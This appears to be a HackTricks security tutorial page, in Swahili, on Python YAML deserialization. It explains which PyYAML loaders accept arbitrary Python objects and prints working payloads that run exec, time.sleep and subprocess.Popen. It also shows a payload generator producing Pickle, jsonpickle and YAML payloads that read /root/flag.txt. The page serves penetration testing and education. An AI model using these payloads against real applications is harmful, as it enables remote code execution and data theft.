Python Yaml Deserialization

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Ufumbuzi wa Yaml

Maktaba za Yaml za python pia zinaweza kufumbua vitu vya python na sio tu data ghafi:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

Angalia jinsi tuple sio aina ya data ya msingi na kwa hivyo ilikuwa kiserialiwa. Na hali hiyo hiyo ilitokea na range (iliyochukuliwa kutoka kwa builtins).

safe_load() au safe_load_all() hutumia SafeLoader na havisaidii udeserialishaji wa vitu vya darasa. Mfano wa udeserialishaji wa vitu vya darasa:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

Msimbo uliopita ulitumia unsafe_load kusoma darasa la python lililosanidishwa. Hii ni kwa sababu katika toleo >= 5.1, hauruhusu kusahihisha darasa lolote la python lililosanidishwa au sifa ya darasa, bila Loader kufafanuliwa katika load() au Loader=SafeLoader.

Shambulizi la Msingi

Mfano wa jinsi ya kutekeleza usingizi:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

.load("<content>") inayoweza Kudhurika bila Loader

Toleo za zamani za pyyaml zilikuwa na udhaifu wa mashambulizi ya deserialisations ikiwa haukutaja Loader wakati wa kupakia kitu: yaml.load(data)

Unaweza kupata maelezo ya udhaifu hapa. Shambulio lililopendekezwa kwenye ukurasa huo ni:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

Au unaweza kutumia hii mstari mmoja uliotolewa na @ishaack:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

Tafadhali kumbuka kwamba katika toleo jipya huwezi tena kuita .load() bila Loader na FullLoader haiko tena katika hatari ya shambulio hili.

RCE

Mizigo ya desturi inaweza kuundwa kwa kutumia moduli za Python YAML kama vile PyYAML au ruamel.yaml. Mizigo hii inaweza kutumia mapungufu katika mifumo ambayo hupakia data isiyosadikika bila kusafisha ipasavyo.

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Zana ya Kuunda Mzigo

Zana https://github.com/j0lt-github/python-deserialization-attack-payload-generator inaweza kutumika kuunda mizigo ya uharibifu wa python deserialization ili kutumia Pickle, PyYAML, jsonpickle na ruamel.yaml:

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

Marejeo

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated